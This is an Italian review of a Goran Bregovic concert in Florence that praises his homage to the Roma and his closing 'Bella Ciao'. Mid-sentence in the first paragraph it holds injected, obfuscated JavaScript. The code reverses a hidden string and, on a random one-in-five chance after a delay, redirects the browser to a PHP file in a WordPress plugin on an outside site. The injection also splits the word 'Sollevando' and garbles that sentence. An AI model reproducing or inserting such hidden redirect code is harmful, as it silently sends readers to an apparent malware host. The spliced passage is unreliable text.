Bregovic a Firenze omaggia i Rom contro l'Europa che esclude

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Nella città dove i giornali, più o meno ben pensanti, non esitano a mettere in piedi campagne contro il degrado rappresentato dai Rom e dove questi ultimi sembrano il male assoluto, arriva Goran Bregovic con la sua Orchestra per Matrimoni & Funerali e che ti combina? Ti omaggia espressamente gli “zingari”, dedica loro parte del concerto che si è tenuto all’Obihall di Firenze e accusa gli europei di volerli cacciare dal continente. Sollev (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando un applauso in platea che si è trasformato in acclamazione quando ha suonato e cantato Bella Ciao in chiusura di concerto, una canzone italiana diventata negli ultimi anni (ad Atene, Madrid, Parigi, ma non solo) simbolo della Resistenza al dominio liberista in Europa con tutto ciò che ne consegue.

Quello di Bregovic è ancora un concerto che deve essere ascoltato e ‘vissuto’ in piedi, e possibilmente non immobili. Il musicista serbo-croato noto ai più per le colonne sonore dei film di Kusturica, ma soprattutto per aver portato nel mondo e reso positivamente ‘pop’ la musica balcanica, ha proposto un concerto realmente travolgente, capace di ibridare suoni gitani con ritmi jazz, folk, tango.

Accompagnato dalla su citata Orchestra, con le immancabili cantanti e coriste Ludmila Radkova Trajkova e Daniela Radkova Aleksandrova, Bregovic ha saputo cucire assieme una lista di brani che, partendo dal suo ultimo album e passando per Alkohol e Champagne for Gypsies, è giunta ai suoi successi mondiali, e alla immancabile Kalashnikov, assicurando sempre continuità di qualità e di energia. Uno spettacolo condotto da un artista, evidentemente divertito, che dirigeva tutti, pubblico incluso, dalla sua sedia e con il suo vestito bianco e i suoi strumenti da apprendista stregone. Da menzionare infine anche l’omaggio a Cesaria Evora, con la indimenticabile Ausencia, e l’interpretazione di ‘In the Death car’ cantata in passato anche da Iggy Pop.

 

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